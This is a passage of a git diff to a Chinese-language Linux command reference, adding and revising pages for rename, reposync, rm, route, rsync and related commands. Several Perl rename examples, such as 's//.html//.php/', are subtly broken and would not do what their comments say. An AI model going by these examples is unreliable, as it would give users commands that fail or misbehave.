-原字符串:将文件名需要替换的字符串; -目标字符串:将文件名中含有的原字符替换成目标字符串; -文件:指定要改变文件名的文件列表。 +### 语法 + +```bash +# Perl版本 +rename [ -h|-m|-V ] [ -v ] [ -0 ] [ -n ] [ -f ] [ -d ] [ -e|-E perlexpr]*|perlexpr [ files ] + +# C语言版本 +rename [选项] 表达式 替换的字符 文件... ``` -### 实例 +### 参数 -将main1.c重命名为main.c +```bash +# Perl版本 +-v, --verbose + 详细:成功重命名的文件的打印名称。 -```shell -rename main1.c main.c main1.c -``` +-0, --null + 从STDIN读取时,请使用\0作为记录分隔符 - **rename支持通配符** +-n, --nono + 不执行任何操作:打印要重命名的文件名,但不重命名。 -```shell -? 可替代单个字符 -* 可替代多个字符 -[charset] 可替代charset集中的任意单个字符 -``` +-f, --force + 覆盖:允许覆盖现有文件 + +--path, --fullpath + 重命名完整路径:包括任何目录组件。默认 + +-d, --filename, --nopath, --nofullpath + 不重命名目录:仅重命名路径的文件名部分 + +-h, --help + 帮助:打印提要和选项。 + +-m, --man + 手册: 打印手册页. + +-V, --version + 版本: 显示版本号. + +-e 表达: 作用于文件名的代码. + + 可以重复来构建代码(比如“perl-e”)。如果没有-e,则第一个参数用作代码。 + +-E 语句:对文件名执行操作的代码,如-e,但终止于 ';'. -文件夹中有这些文件foo1, ..., foo9, foo10, ..., foo278 -如果使用`rename foo foo0 foo?`,会把foo1到foo9的文件重命名为foo01到foo09,重命名的文件只是有4个字符长度名称的文件,文件名中的foo被替换为foo0。 +# C语言版本 +-v, --verbose + 提供视觉反馈,其中重命名了哪些文件(如果有的话) -如果使用`rename foo foo0 foo??`,foo01到foo99的所有文件都被重命名为foo001到foo099,只重命名5个字符长度名称的文件,文件名中的foo被替换为foo0。 +-V, --version + 显示版本信息并退出。 -如果使用`rename foo foo0 foo*`,foo001到foo278的所有文件都被重命名为foo0001到foo0278,所有以foo开头的文件都被重命名。 +-s, --symlink + 在符号链接目标上执行重命名 -如果使用`rename foo0 foo foo0[2]*`,从foo0200到foo0278的所有文件都被重命名为foo200到foo278,文件名中的foo0被替换为foo。 +-h, --help + 显示帮助文本并退出 +``` + +### 实例 - **rename支持正则表达式** +--- -字母的替换 +#### Perl版本 -```shell -rename "s/AA/aa/" * # 把文件名中的AA替换成aa +将1.txt 2.txt重命名为1.log 2.log + +```bash +$ rename -v "s/txt/log/g" 1.txt 2.txt +1.txt renamed as 1.log +2.txt renamed as 2.log ``` 修改文件的后缀 -```shell +```bash rename "s//.html//.php/" * # 把.html 后缀的改成 .php后缀 ``` 批量添加文件后缀 -```shell +```bash rename "s/$//.txt/" * # 把所有的文件名都以txt结尾 ``` 批量删除文件名 -```shell +```bash rename "s//.txt//" * # 把所有以.txt结尾的文件名的.txt删掉 ``` +--- + +##### C语言版本 + + +将1.txt 2.txt重命名为1.log 2.log + +```bash +$ rename -v txt log 1.txt 2.txt +`1.txt' -> `1.log' +`2.txt' -> `2.log' +``` + +文件夹中有这些文件foo1, ..., foo9, foo10, ..., foo278 +```bash +# 把foo1到foo9的文件重命名为foo01到foo09,重命名的文件只是有4个字符长度名称的文件,文件名中的foo被替换为foo0。 +rename foo foo0 foo? + +# foo01到foo99的所有文件都被重命名为foo001到foo099,只重命名5个字符长度名称的文件,文件名中的foo被替换为foo0。 +rename foo foo0 foo?? + +# foo001到foo278的所有文件都被重命名为foo0001到foo0278,所有以foo开头的文件都被重命名。 +rename foo foo0 foo* + +# 从foo0200到foo0278的所有文件都被重命名为foo200到foo278,文件名中的foo0被替换为foo。 +rename foo0 foo foo0[2]* +``` + - \ No newline at end of file diff --git a/command/renice.md b/command/renice.md index c70740c9fae..97d762171f2 100644 --- a/command/renice.md +++ b/command/renice.md @@ -7,13 +7,13 @@ renice **renice命令** 可以修改正在运行的进程的调度优先级。预设是以程序识别码指定程序调整其优先权,您亦可以指定程序群组或用户名称调整优先权等级,并修改所有隶属于该程序群组或用户的程序的优先权。只有系统管理者可以改变其他用户程序的优先权,也仅有系统管理者可以设置负数等级。 -### 语法 +### 语法 ```shell renice(选项)(参数) ``` -### 选项 +### 选项 ```shell -g:指定进程组id; @@ -21,11 +21,11 @@ renice(选项)(参数) -u:指定开启进程的用户名。 ``` -### 参数 +### 参数 进程号:指定要修改优先级的进程。 -### 实例 +### 实例 将行程id为987及32的行程与行程拥有者为daemon及root的优先序号码加1: @@ -36,4 +36,3 @@ renice 1 987 -u daemon root -p 32 注意:每一个行程都有一个唯一的id。 - \ No newline at end of file diff --git a/command/reposync.md b/command/reposync.md new file mode 100644 index 00000000000..71fb087f937 --- /dev/null +++ b/command/reposync.md @@ -0,0 +1,100 @@ +reposync +=== + +同步yum存储库到本地目录 + +## 概要 + +```shell +reposync [选项] +``` + +## 主要用途 + +reposync用于将远程yum存储库同步到本地目录,使用yum检索包。 + +## 选项 + +```shell +-h, --help +# 显示帮助信息 + +-c CONFIG, --config=CONFIG +# 指定配置文件(默认为/etc/yum.conf) + +-a ARCH, --arch=ARCH +# 指定arch + +--source +# 同时下载src和rpm文件. + +-r REPOID, --repoid=REPOID +# 指定要查询的repo id,可以指定多次(默认为全部启用)。 + +-e CACHEDIR, --cachedir CACHEDIR +# 存储元数据的目录。 + +-t, --tempcache +# 使用临时目录存储/访问yum-cache。 + +-d, --delete +# 删除存储库中不再存在的本地包。 + +-p DESTDIR, --download_path=DESTDIR +# 指定下载路径:默认为当前目录。 + +--norepopath +# 不要将重命名添加到下载路径中。只能在同步单个存储库时使用(默认是添加重命名)。 + +-g, --gpgcheck +# 下载后删除GPG签名检查失败的包。如果至少有一个包被删除,退出状态为“1”。 + +-u, --urls +# 只列出要下载的内容的url,不要下载。 + +-l, --plugins +# 启用yum插件支持。 + +-m, --downloadcomps +# 同时下载comps.xml。 + +--download-metadata +# 下载所有非默认元数据。 + +-n, --newest-only +# 每个repo只下载最新的包。 + +-q, --quiet +# 输出尽可能少的信息。 + +--allow-path-traversal +# 允许同步存储在repo目录之外的包。这些包是在元数据中通过使用绝对路径或上一级“..”系统引用的并且出于安全原因通常会在reposync中跳过。 +# 注意:使用此选项有潜在的安全隐患,因为通过提供恶意repodata,攻击者可以使reposync写入任意位置运行该文件系统的用户可以访问的文件系统。 +``` + +## 例子 + +```shell +# 将'updates'仓库中的所有包同步到当前目录: +reposync --repoid=updates + +# 只同步最新的包从'updates'仓库到当前目录: +reposync -n --repoid=updates + +# 将'updates'和'extras'仓库中的包同步到当前目录: +reposync --repoid=updates --repoid=extras + +# 将'updates'仓库中的所有包同步到repos目录: +reposync -p repos --repoid=updates + +# 将'updates'仓库中的所有包同步到repos目录,排除x86_64架构文件。编辑/etc/yum.conf,添加选项exclude=*.x86_64。再执行: +reposync -p repos --repoid=updates +``` + +## 文件 + +reposync使用yum库来检索信息和包。如果没有指定配置文件,将使用默认的yum配置。 + +* /etc/yum.conf +* /etc/yum/repos.d/ + diff --git a/command/repquota.md b/command/repquota.md index e8d27d17ac0..d22d1c3be47 100644 --- a/command/repquota.md +++ b/command/repquota.md @@ -7,13 +7,13 @@ repquota **repquota命令** 以报表的格式输出指定分区,或者文件系统的磁盘配额信息。 -### 语法 +### 语法 ```shell repquota(选项)(参数) ``` -### 选项 +### 选项 ```shell -a:列出在/etc/fstab文件里,有加入quota设置的分区的使用状况,包括用户和群组; @@ -22,11 +22,11 @@ repquota(选项)(参数) -v:显示该用户或群组的所有空间限制。 ``` -### 参数 +### 参数 文件系统:要打印报表的文件系统或者对应的设备文件名。 -### 实例 +### 实例 显示所有文件系统的磁盘使用情况 @@ -35,4 +35,3 @@ repquota -a ``` - \ No newline at end of file diff --git a/command/resize.md b/command/resize.md index c7a216c3de8..0d2a552ed10 100644 --- a/command/resize.md +++ b/command/resize.md @@ -1,19 +1,19 @@ resize === -命令设置终端机视窗的大小。 +命令设置终端机视窗的大小 ## 补充说明 **resize命令** 命令设置终端机视窗的大小。执行resize指令可设置虚拟终端机的视窗大小。 -### 语法 +### 语法 ```shell resize [-cu][-s <列数> <行数>] ``` -### 选项 +### 选项 ```shell -c  就算用户环境并非C Shell,也用C Shell指令改变视窗大小。 @@ -50,4 +50,4 @@ export COLUMNS LINES; ``` - + diff --git a/command/restore.md b/command/restore.md index 328873703d8..47067c128ea 100644 --- a/command/restore.md +++ b/command/restore.md @@ -7,13 +7,13 @@ restore **restore命令** 是dump命令的逆过程,用于还原dump命令生成的备份文件。倾倒操作可用来备份文件,而还原操作则是写回这些已备份的文件。 -### 语法 +### 语法 ```shell restore(选项) ``` -### 选项 +### 选项 ```shell -b<区块大小>:设置区块大小,单位为Byte; @@ -33,7 +33,7 @@ restore(选项) -y:不询问任何问题,一律以同意回答并继续执行指令。 ``` -### 实例 +### 实例 ```shell dump -9 -u -f /dev/hda3 /home/frank/ @@ -52,4 +52,3 @@ restore ft /dev/hda3 ``` - \ No newline at end of file diff --git a/command/restorecon.md b/command/restorecon.md index 4c398a108fa..85b8fe50f16 100644 --- a/command/restorecon.md +++ b/command/restorecon.md @@ -7,13 +7,13 @@ restorecon **restorecon命令** 用来恢复SELinux文件属性即恢复文件的安全上下文。 -### 语法 +### 语法 ```shell restorecon [-iFnrRv] [-e excludedir ] [-o filename ] [-f filename | pathname...] ``` -### 选项 +### 选项 ```shell -i:忽略不存在的文件。 @@ -26,7 +26,7 @@ restorecon [-iFnrRv] [-e excludedir ] [-o filename ] [-f filename | pathname...] -F:强制恢复文件安全语境。 ``` -### 实例 +### 实例 假设CentOS安装了apache,网页默认的主目录是`/var/www/html`,我们经常遇到这样的问题,在其他目录中创建了一个网页文件,然后用mv移动到网页默认目录`/var/www/html`中,但是在浏览器中却打不开这个文件,这很可能是因为这个文件的SELinux配置信息是继承原来那个目录的,与`/var/www/html`目录不同,使用mv移动的时候,这个SELinux配置信息也一起移动过来了,从而导致无法打开页面,具体请看下面的实例: @@ -74,4 +74,3 @@ type=AVC msg=audit(1378974214.610:465): avc: denied { open } for pid=2359 com ``` - \ No newline at end of file diff --git a/command/return.md b/command/return.md new file mode 100644 index 00000000000..e10ece03d24 --- /dev/null +++ b/command/return.md @@ -0,0 +1,45 @@ +return +=== + +从函数中退出并返回数值。 + +## 概要 + +```shell +return [n] +``` + +## 主要用途 + +- 使得shell函数退出并返回数值,如果没有指定n的值,则默认为函数最后一条命令执行的返回状态。 + +## 参数 + +n(可选):整数。 + +## 返回值 + +返回值为你指定的参数n的值,如果你指定的参数大于255或小于0,那么会通过加或减256的方式使得返回值总是处于0到255之间。 + +在函数外执行return语句会返回失败。 + +## 例子 + +```shell +#!/usr/bin/env bash +# 定义一个返回值大于255的函数 +example() { + return 259 +} +# 执行函数 +example +# 显示3 +echo $? +``` + +### 注意 + +1. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。 + + + diff --git a/command/rev.md b/command/rev.md index 215fb536ce7..2cd9e71b952 100644 --- a/command/rev.md +++ b/command/rev.md @@ -7,17 +7,17 @@ rev **rev命令** 将文件中的每行内容以字符为单位反序输出,即第一个字符最后输出,最后一个字符最先输出,依次类推。 -### 语法 +### 语法 ```shell rev(参数) ``` -### 参数 +### 参数 文件:指定要反序显示内容的文件。 -### 实例 +### 实例 ```shell [root@localhost ~]# cat iptables.bak @@ -52,4 +52,3 @@ TIMMOC ``` - \ No newline at end of file diff --git a/command/rexec.md b/command/rexec.md index efa31256294..088002229f5 100644 --- a/command/rexec.md +++ b/command/rexec.md @@ -1,7 +1,7 @@ rexec === -运程执行Linux系统下命令 +远程执行Linux系统下命令 ## 补充说明 @@ -9,13 +9,13 @@ rexec rexec命令通过检查`$HOME/.netrc`文件(包含远程主机上使用的用户名和密码)来提供自动登录的功能。如果没有发现此类项或系统在安全方式下操作(参阅 securetcpip 命令),rexec命令提示输入一个远程主机的有效用户名和密码。这两种情况下,rexec均导致远程系统上的rexecd使用缺省的compat用户登录认证方法。rexecd不会为了备用的认证方法去查找`/etc/security/user`文件。也可以指定`-n`标志到rexec命令行上来重设自动登录功能。 -### 语法 +### 语法 ```shell rexec(选项)(参数) ``` -### 选项 +### 选项 ```shell -a:表示远程命令的标准错误与标准输出相同,不支持发送任意信号到远程进程; @@ -24,12 +24,12 @@ rexec(选项)(参数) -n:明确地提示输入用户名和密码。 ``` -### 参数 +### 参数 * 远程主机:指定远程主机(ip地址或主机名); * 命令:指定需要在远程主机上执行的命令。 -### 实例 +### 实例 要在一个远程主机上执行date命令,输入: @@ -58,4 +58,4 @@ rexec host1 ls -l /home/karen 如果没有远程主机的`$HOME/.netrc`文件中的有效项,将提示您输入登录标识和密码。输入要求的登录信息后,在远程主机host1上的karen用户的目录列表显示在本地系统上。 - \ No newline at end of file + diff --git a/command/rlogin.md b/command/rlogin.md index f2bae52d162..cfeed46a9d3 100644 --- a/command/rlogin.md +++ b/command/rlogin.md @@ -7,13 +7,13 @@ rlogin **rlogin命令** 用于从当前终端登录到远程Linux主机。 -### 语法 +### 语法 ```shell rlogin(选项)(参数) ``` -### 选项 +### 选项 ```shell -8:允许输入8位字符数据; @@ -23,9 +23,8 @@ rlogin(选项)(参数) -L:使用litout模式进行远端登入阶段操作。 ``` -### 参数 +### 参数 远程主机:指定要登录的远程主机(ip地址或者域名)。 - \ No newline at end of file diff --git a/command/rm.md b/command/rm.md index f54ab21f3ef..c628cd54f12 100644 --- a/command/rm.md +++ b/command/rm.md @@ -48,14 +48,38 @@ Remove example ?y(删除文件example) 应注意,这样做是非常危险的! -**rm 命令删除文件** +**删除当前目录下的 package-lock.json 文件** -```shellbash +```shell +find . -name "package-lock.json" -exec rm -rf {} \; +``` + +**查找 *.html 结尾的文件并删除** + +```shell +find ./docs -name "*.html" -exec rm -rf {} \; +``` + +**删除当前项目下 *.html 结尾的文件** + +```shell +rm -rf *.html +``` + +**删除当前目录下的 node_modules 目录** + +```shell +find . -name 'node_modules' -type d -prune -exec rm -rf '{}' + +``` + +**删除文件** + +```shell # rm 文件1 文件2 ... rm testfile.txt ``` -**rm 命令删除目录** +**删除目录** > rm -r [目录名称] > -r 表示递归地删除目录下的所有文件和目录。 @@ -74,6 +98,12 @@ rm -r testdir rm -r -i testdir ``` +**批量删除 `icons` 文件夹中的子文件夹中的 data 文件夹** + +```shell +rm -rf icons/**/data +``` + **rm 忽略不存在的文件或目录** > -f 选项(LCTT 译注:即 “force”)让此次操作强制执行,忽略错误提示 @@ -97,7 +127,7 @@ rm -I file1 file2 file3 > 然而,如果你非得完成这个操作,你需要使用 --no-preserve-root 选项。当提供此选项,rm 就不会特殊处理根目录(/)了。 ```shell -不给实例了,操作系统都被你删除了,你太坏了😆 +不给示例了,操作系统都被你删除了,你太坏了😆 ``` **rm 显示当前删除操作的详情** @@ -106,4 +136,4 @@ rm -I file1 file2 file3 rm -v [文件/目录] ``` - + diff --git a/command/rmdir.md b/command/rmdir.md index 0742bad8b94..0ac6b29fe63 100644 --- a/command/rmdir.md +++ b/command/rmdir.md @@ -11,13 +11,13 @@ rmdir 虽然还可以用带有`-r`选项的rm命令递归删除一个目录中的所有文件和该目录本身,但是这样做存在很大的危险性。 -### 语法 +### 语法 ```shell rmdir(选项)(参数) ``` -### 选项 +### 选项 ```shell -p或--parents:删除指定目录后,若该目录的上层目录已变成空目录,则将其一并删除; @@ -27,11 +27,11 @@ rmdir(选项)(参数) --version:显示命令的版本信息。 ``` -### 参数 +### 参数 目录列表:要删除的空目录列表。当删除多个空目录时,目录名之间使用空格隔开。 -### 实例 +### 实例 将工作目录下,名为 `www` 的子目录删除 : @@ -52,4 +52,4 @@ rmdir -p a/b/c ``` - + diff --git a/command/rmmod.md b/command/rmmod.md index fc0f2c0284a..c27d786e33d 100644 --- a/command/rmmod.md +++ b/command/rmmod.md @@ -7,13 +7,13 @@ rmmod **rmmod命令** 用于从当前运行的内核中移除指定的内核模块。执行rmmod指令,可删除不需要的模块。Linux操作系统的核心具有模块化的特性,应此在编译核心时,务须把全部的功能都放如核心。你可以将这些功能编译成一个个单独的模块,待有需要时再分别载入它们。 -### 语法 +### 语法 ```shell rmmod(选项)(参数) ``` -### 选项 +### 选项 ```shell -v:显示指令执行的详细信息; @@ -22,11 +22,11 @@ rmmod(选项)(参数) -s:向系统日志(syslog)发送错误信息。 ``` -### 参数 +### 参数 模块名:要移除的模块名称。 -### 实例 +### 实例 用rmmod命令主要用于卸载正在使用的Linux内核模块,与`modprobe -r`命令相似,如下所示: @@ -39,4 +39,3 @@ raid1 25153 0 ``` - \ No newline at end of file diff --git a/command/route.md b/command/route.md index 2cc5008d9a2..9efeb6df712 100644 --- a/command/route.md +++ b/command/route.md @@ -9,13 +9,13 @@ route 在Linux系统中设置路由通常是为了解决以下问题:该Linux系统在一个局域网中,局域网中有一个网关,能够让机器访问Internet,那么就需要将这台机器的ip地址设置为Linux机器的默认路由。要注意的是,直接在命令行下执行route命令来添加路由,不会永久保存,当网卡重启或者机器重启之后,该路由就失效了;可以在`/etc/rc.local`中添加route命令来保证该路由设置永久有效。 -### 语法 +### 语法 ```shell route(选项)(参数) ``` -### 选项 +### 选项 ```shell -A:设置地址类型; @@ -27,19 +27,19 @@ route(选项)(参数) -host:到一个主机的路由表。 ``` -### 参数 +### 参数 ```shell -Add:增加指定的路由记录; -Del:删除指定的路由记录; -Target:目的网络或目的主机; +add:增加指定的路由记录; +del:删除指定的路由记录; +target:目的网络或目的主机; gw:设置默认网关; mss:设置TCP的最大区块长度(MSS),单位MB; window:指定通过路由表的TCP连接的TCP窗口大小; dev:路由记录所表示的网络接口。 ``` -### 实例 +### 实例 **显示当前路由:** @@ -78,7 +78,7 @@ Destination Gateway Genmask Flags Metric Ref Use Iface **添加网关/设置网关:** ```shell -route add -net 224.0.0.0 netmask 240.0.0.0 dev eth0 #增加一条到达244.0.0.0的路由。 +route add -net 224.0.0.0 netmask 240.0.0.0 dev eth0 #增加一条到达224.0.0.0的路由。 ``` **屏蔽一条路由:** @@ -102,4 +102,3 @@ route add default gw 192.168.120.240 ``` - \ No newline at end of file diff --git a/command/rpm.md b/command/rpm.md index a039742c7b5..f7ec56d5dc8 100644 --- a/command/rpm.md +++ b/command/rpm.md @@ -239,4 +239,3 @@ rpm2cpio | cpio -idv /usr/share/man/ manual ``` - \ No newline at end of file diff --git a/command/rpm2cpio.md b/command/rpm2cpio.md index f6779b31964..dc8d93b08a3 100644 --- a/command/rpm2cpio.md +++ b/command/rpm2cpio.md @@ -7,21 +7,20 @@ rpm2cpio **rpm2cpio命令** 用于将rpm软件包转换为cpio格式的文件。 -### 语法 +### 语法 ```shell rpm2cpio(参数) ``` -### 参数 +### 参数 文件:指定要转换的rpm包的文件名。 -### 实例 +### 实例 ```shell rpm2cpio ../libstdc++-4.3.0-8.i386.rpm | cpio -idv ``` - \ No newline at end of file diff --git a/command/rpmbuild.md b/command/rpmbuild.md index 05eebff9602..66a0bffa8c0 100644 --- a/command/rpmbuild.md +++ b/command/rpmbuild.md @@ -7,13 +7,13 @@ rpmbuild **rpmbuild命令** 被用于创建rpm的二进制软件包和源码软件包。 -### 语法 +### 语法 ```shell rpmbuild(选项) ``` -### 选项 +### 选项 ```shell --initdb:初始化RPM数据库; @@ -23,7 +23,7 @@ rpmbuild(选项) -bs:创建源代码包。 ``` -### 实例 +### 实例 ```shell rpmbuild -ba 'spec文件路径' @@ -32,4 +32,3 @@ rpmbuild -ba 'spec文件路径' build完后,可以在`/usr/src/redhat/RPMS/`下找到二进制rpm包,rpm包按照其对应的cpu体系结构分类,通常在`/usr/src/redhat/RPMS/i386`目录下。`/usr/src/redhat/SRPMS/`下找到源码rpm包,此时由于是源代码,所以无须按体系结构分类。 - \ No newline at end of file diff --git a/command/rpmdb.md b/command/rpmdb.md index 0094b468ada..f829f55363a 100644 --- a/command/rpmdb.md +++ b/command/rpmdb.md @@ -7,13 +7,13 @@ rpmdb **rpmdb命令** 用于初始化和重建rpm数据库。 -### 语法 +### 语法 ```shell rpmdb(选项) ``` -### 选项 +### 选项 ```shell --initdb:初始化RPM数据库; @@ -21,4 +21,3 @@ rpmdb(选项) ``` - \ No newline at end of file diff --git a/command/rpmquery.md b/command/rpmquery.md index a0d8e5643e3..2a401874d92 100644 --- a/command/rpmquery.md +++ b/command/rpmquery.md @@ -7,13 +7,13 @@ rpmquery **rpmquery命令** 使用多种依据从rpm数据库中查询软件包信息。 -### 语法 +### 语法 ```shell rpmquery(选项) ``` -### 选项 +### 选项 ```shell -qf:查询指定的文件所属的软件包; @@ -23,7 +23,7 @@ rpmquery(选项) -qi:查询软件包的基本信息。 ``` -### 实例 +### 实例 使用rpmquery命令查询指定文件所属的软件包: @@ -33,4 +33,3 @@ httpd-2.2.3-81.el5.centos ``` - \ No newline at end of file diff --git a/command/rpmsign.md b/command/rpmsign.md index b1e64b9f935..0e51257d1f5 100644 --- a/command/rpmsign.md +++ b/command/rpmsign.md @@ -7,13 +7,13 @@ rpmsign **rpmsign命令** 使用rpm软件包的签名管理工具。 -### 语法 +### 语法 ```shell rpmsign(选项) ``` -### 选项 +### 选项 ```shell --addsign:为自动软件包添加签名; @@ -26,4 +26,3 @@ rpmsign(选项) ``` - \ No newline at end of file diff --git a/command/rpmverify.md b/command/rpmverify.md index ea73775756a..4ff03daeafa 100644 --- a/command/rpmverify.md +++ b/command/rpmverify.md @@ -7,13 +7,13 @@ rpmverify **rpmverify命令** 用来验证已安装的rpm软件包的正确性。 -### 语法 +### 语法 ```shell rpmverify(选项) ``` -### 选项 +### 选项 ```shell -Va:验证所有软件包; @@ -22,4 +22,3 @@ rpmverify(选项) ``` - \ No newline at end of file diff --git a/command/rsh.md b/command/rsh.md index 20dcecd8311..c165b85ab26 100644 --- a/command/rsh.md +++ b/command/rsh.md @@ -7,13 +7,13 @@ rsh **rsh命令** 用于连接到远程的指定主机并执行指定的命令。 -### 语法 +### 语法 ```shell rsh(选项)(参数) ``` -### 选项 +### 选项 ```shell -d:使用Socket层级的排错功能; @@ -21,10 +21,9 @@ rsh(选项)(参数) -n:把输入的指令号向代号为/dev/null的特殊外围设备。 ``` -### 参数 +### 参数 * 远程主机:指定要连接的远程主机; * 指令:指定要在远程主机上执行的命令。 - \ No newline at end of file diff --git a/command/rsync.md b/command/rsync.md index 6511badefce..34b5df88837 100644 --- a/command/rsync.md +++ b/command/rsync.md @@ -51,7 +51,7 @@ rsync [OPTION]... rsync://[USER@]HOST[:PORT]/SRC [DEST] -D, --devices 保持设备文件信息。 -t, --times 保持文件时间信息。 -S, --sparse 对稀疏文件进行特殊处理以节省DST的空间。 --n, --dry-run现实哪些文件将被传输。 +-n, --dry-run 显示哪些文件将被传输。 -w, --whole-file 拷贝文件,不进行增量检测。 -x, --one-file-system 不要跨越文件系统边界。 -B, --block-size=SIZE 检验算法使用的块尺寸,默认是700字节。 @@ -86,7 +86,7 @@ rsync [OPTION]... rsync://[USER@]HOST[:PORT]/SRC [DEST] --port=PORT 指定其他的rsync服务端口。 --blocking-io 对远程shell使用阻塞IO。 -stats 给出某些文件的传输状态。 ---progress 在传输时现实传输过程。 +--progress 在传输时显示传输过程。 --log-format=formAT 指定日志文件格式。 --password-file=FILE 从FILE中得到密码。 --bwlimit=KBPS 限制I/O带宽,KBytes per second。 @@ -222,4 +222,205 @@ sent 258 bytes received 76 bytes 95.43 bytes/sec total size is 150995011 speedup is 452080.87 ``` - \ No newline at end of file +**将源目录同步到目标目录** + +```shell +$ rsync -r source destination +``` + +上面命令中,`-r` 表示递归,即包含子目录。注意,`-r`是必须的,否则 `rsync` 运行不会成功。`source` 目录表示源目录,`destination` 表示目标目录。 + +**多个文件或目录同步** + +```shell +$ rsync -r source1 source2 destination +``` + +上面命令中,`source1`、`source2` 都会被同步到 `destination` 目录。 + +**同步元信息** + +`-a` 参数可以替代 `-r`,除了可以递归同步以外,还可以同步元信息(比如修改时间、权限等)。由于 `rsync` 默认使用文件大小和修改时间决定文件是否需要更新,所以 `-a` 比 `-r` 更有用。下面的用法才是常见的写法。 + +```shell +$ rsync -a source destination +``` + +目标目录 `destination` 如果不存在,`rsync` 会自动创建。执行上面的命令后,源目录 `source` 被完整地复制到了目标目录 `destination` 下面,即形成了 `destination/source` 的目录结构。 + +如果只想同步源目录 `source` 里面的内容到目标目录 `destination` ,则需要在源目录后面加上斜杠。 + +```shell +$ rsync -a source/ destination +``` + +上面命令执行后,`source` 目录里面的内容,就都被复制到了 `destination` 目录里面,并不会在 `destination` 下面创建一个 `source` 子目录。 + + +**模拟执行的结果** + +如果不确定 `rsync` 执行后会产生什么结果,可以先用 `-n` 或 `--dry-run` 参数模拟执行的结果。 + +```shell +$ rsync -anv source/ destination +``` + +上面命令中,`-n` 参数模拟命令执行的结果,并不真的执行命令。`-v` 参数则是将结果输出到终端,这样就可以看到哪些内容会被同步。 + +**目标目录成为源目录的镜像副本** + +默认情况下,`rsync` 只确保源目录的所有内容(明确排除的文件除外)都复制到目标目录。它不会使两个目录保持相同,并且不会删除文件。如果要使得目标目录成为源目录的镜像副本,则必须使用 `--delete` 参数,这将删除只存在于目标目录、不存在于源目录的文件。 + +```shell +$ rsync -av --delete source/ destination +``` + +上面命令中,`--delete` 参数会使得 `destination` 成为 `source` 的一个镜像。 + + +**排除文件** + +有时,我们希望同步时排除某些文件或目录,这时可以用--exclude参数指定排除模式。 + +```shell +$ rsync -av --exclude='*.txt' source/ destination +# 或者 +$ rsync -av --exclude '*.txt' source/ destination +``` + +上面命令排除了所有 `TXT` 文件。 + +注意,`rsync` 会同步以"点"开头的隐藏文件,如果要排除隐藏文件,可以这样写 `--exclude=".*"`。 + +如果要排除某个目录里面的所有文件,但不希望排除目录本身,可以写成下面这样。 + +```shell +$ rsync -av --exclude 'dir1/*' source/ destination +``` + +多个排除模式,可以用多个 `--exclude` 参数。 + +```shell +$ rsync -av --exclude 'file1.txt' --exclude 'dir1/*' source/ destination +``` + +多个排除模式也可以利用 Bash 的大扩号的扩展功能,只用一个 `--exclude` 参数。 + +```shell +$ rsync -av --exclude={'file1.txt','dir1/*'} source/ destination +``` + +如果排除模式很多,可以将它们写入一个文件,每个模式一行,然后用 `--exclude-from` 参数指定这个文件。 + +```shell +$ rsync -av --exclude-from='exclude-file.txt' source/ destination +``` + +**指定必须同步的文件模式** + +`--include` 参数用来指定必须同步的文件模式,往往与 `--exclude` 结合使用。 + +```shell +$ rsync -av --include="*.txt" --exclude='*' source/ destination +``` + +上面命令指定同步时,排除所有文件,但是会包括 `TXT` 文件。 + +**指定要使用的远程shell** + +远程shell(remote shell)用于在本地和远程主机之间建立连接,它不是指执行脚本的shell(bash/zsh等) + +`-e`选项可以指定使用的远程shell(默认为ssh),例如 rsh、socat 或自定义脚本 + +```shell +$ rsync -av -e rsh /tmp/src/ user@host:/tmp/dest/ +``` + +`-e`选项同时可以指定远程shell的参数,如果需要指定 ssh user,必须使用`ssh -l user`,而不能使用`ssh user@host`,因为`ssh user@host`会破坏 rsync 对 host 的解析方式 + +```shell +$ rsync -av -e "ssh -l root -p 9000" /tmp/src/ user@192.168.56.12:/tmp/dest/ +``` + +**通过SSH加密daemon传输** + +使用daemon语法(`host::module`或`rsync://host/module`)时,默认情况下会直接连接到远程的rsync daemon,走TCP 873 端口明文传输 + +```shell +$ rsync -av /tmp/src/ testuser@192.168.56.12::max +``` + +当使用daemon语法的同时添加`-e ssh`选项时,rsync 通过ssh登录远程主机,并在ssh会话中启动一个临时的single-use(单次使用) daemon,从而使daemon传输经过ssh加密,临时daemon不会监听任何TCP端口,它全部通信都通过SSH管道完成。 + +```shell +# 此时会使用当前登录的Linux用户作为 ssh user,随后还需要输入模块 max 的 rsync user 密码 +$ rsync -av -e ssh /tmp/src/ 192.168.56.12::max +``` + +```shell +# 此时会默认使用testuser同时作为ssh user和rsync user,需要保证远程服务器存在Linux用户testuser,不推荐这种写法 +$ rsync -av -e ssh /tmp/src/ testuser@192.168.56.12::max +``` + +更推荐的写法是使用`ssh -l user`同时显式指定ssh user,并在daemon语法中显式写明rsync user,避免二者混淆 + +```shell +# 此时使用user进行ssh连接,rsync user是testuser +$ rsync -av -e "ssh -l user" /tmp/src/ testuser@192.168.56.12::max +``` + +在通过ssh加密daemon传输的模式下,本地rsync通过ssh远程登录,并在远程以ssh用户的身份创建一个临时daemon。该daemon会在ssh用户家目录下寻找`rsyncd.conf`,如果没有找到则会报错,而不是使用`/etc/rsyncd.conf`(如果使用root进行ssh则会直接读取`/etc/rsyncd.conf`)。 + +可以在ssh user的家目录新建一个`rsyncd.conf`,写入类似下面的配置: + +``` +[max] + path = /tmp/dest + read only = no + auth users = testuser + secrets file = /home/user/rsyncd.secrets +``` + +配置文件中不要使用`uid`、`gid`、`chroot`等需要root权限的配置,然后新建一个密码文件`/home/user/rsyncd.secrets`,内容例如: + +``` +testuser:123123 +``` + +并将密码文件权限设置为600: + +```shell +$ chmod 600 /home/user/rsyncd.secrets +``` + +**通过SSH隧道加密daemon传输** + +除了上面提到的临时daemon,还可以使用SSH隧道加密正常的daemon + +默认情况下`sudo rsync --daemon`启动的是一个监听`0.0.0.0:873`的端口,通过SSH将远程端口映射到本地,然后`rsync`只需连接本地端口即可完成加密传输。 + +修改配置文件`/etc/rsyncd.conf`: + +``` +hosts allow = 127.0.0.1 +address = 127.0.0.1 +``` + +启动 rsync daemon(此时只会监听本地回环地址`127.0.0.1:873`) + +```shell +$ sudo rsync --daemon +``` + +映射远程端口到本地 + +```shell +$ ssh -L 8873:127.0.0.1:873 user@192.168.56.12 +``` + +使用本地端口同步(流量会自动经 SSH 加密转发到远程 daemon) + +```shell +# 默认连接873端口,必须显式指明端口 +$ rsync -av /tmp/src/ testuser@127.0.0.1::max --port=8873 +``` \ No newline at end of file diff --git a/command/runlevel.md b/command/runlevel.md index 08b4fb3b3cc..43762178dbb 100644 --- a/command/runlevel.md +++ b/command/runlevel.md @@ 